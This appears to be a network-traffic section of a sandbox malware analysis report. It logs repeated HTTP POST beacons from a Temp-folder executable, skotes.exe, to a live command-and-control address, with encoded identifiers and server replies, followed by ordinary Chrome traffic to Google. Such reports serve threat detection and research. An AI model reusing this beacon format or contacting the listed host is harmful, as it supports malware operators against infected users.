Nov 12, 2024 02:19:08.055010080 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:19:08.976958036 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	50176	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:10.616326094 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:19:11.527448893 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50177	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:13.044840097 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:19:13.977638006 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50178	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:15.617670059 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:19:16.527683020 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50179	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:18.039716005 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:19:18.971419096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50180	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:20.608494997 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:19:21.523879051 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50181	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:23.040690899 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:19:23.947454929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	50182	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:25.586297035 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:19:26.544467926 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	50183	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:28.054280996 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:19:28.973984003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	50184	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:30.608458996 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:19:31.545058012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	50185	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:33.076451063 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:19:33.977052927 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	50186	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:35.616362095 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:19:36.522448063 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	50187	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:38.039933920 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:19:38.999028921 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	50188	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:40.634063005 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:19:41.584424973 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	50189	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:43.319027901 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:19:44.241111040 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	50190	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:45.866991997 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:19:46.782202959 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	50191	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:48.303766012 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:19:49.251733065 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	50192	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:50.883799076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:19:51.983962059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	50193	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:53.507842064 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:19:54.428354025 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	50194	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:56.069411993 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:19:56.979304075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	142.250.186.100	443	7748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:13:13 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 01:13:14 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:13 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-FPieqLmES62C5CmfeFh-fg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 01:13:14 UTC	112	IN	Data Raw: 33 32 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 68 65 6e 20 63 61 6c 6c 73 20 74 68 65 20 68 65 61 72 74 20 73 65 61 73 6f 6e 20 31 32 20 63 61 73 74 22 2c 22 63 61 73 68 20 61 70 70 20 73 65 74 74 6c 65 6d 65 6e 74 20 63 6c 61 73 73 20 61 63 74 69 6f 6e 20 6c 61 77 73 75 69 74 22 2c 22 73 6f 63 69 61 6c 20 73 65 63 75 72 69 74 79 Data Ascii: 324)]}'["",["when calls the heart season 12 cast","cash app settlement class action lawsuit","social security
2024-11-12 01:13:14 UTC	699	IN	Data Raw: 20 62 65 6e 65 66 69 74 73 22 2c 22 73 70 61 63 65 78 20 6c 61 75 6e 63 68 65 73 20 63 61 70 65 20 63 61 6e 61 76 65 72 61 6c 22 2c 22 69 6f 73 20 31 38 2e 32 20 62 65 74 61 20 33 22 2c 22 6e 62 61 20 63 68 65 74 20 68 6f 6c 6d 67 72 65 6e 20 69 6e 6a 75 72 79 22 2c 22 6e 61 74 69 6f 6e 61 6c 20 68 75 72 72 69 63 61 6e 65 20 63 65 6e 74 65 72 22 2c 22 6e 65 74 66 6c 69 78 20 6f 75 74 65 72 20 62 61 6e 6b 73 20 73 65 61 73 6f 6e 20 35 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 Data Ascii: benefits","spacex launches cape canaveral","ios 18.2 beta 3","nba chet holmgren injury","national hurricane center","netflix outer banks season 5"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SE
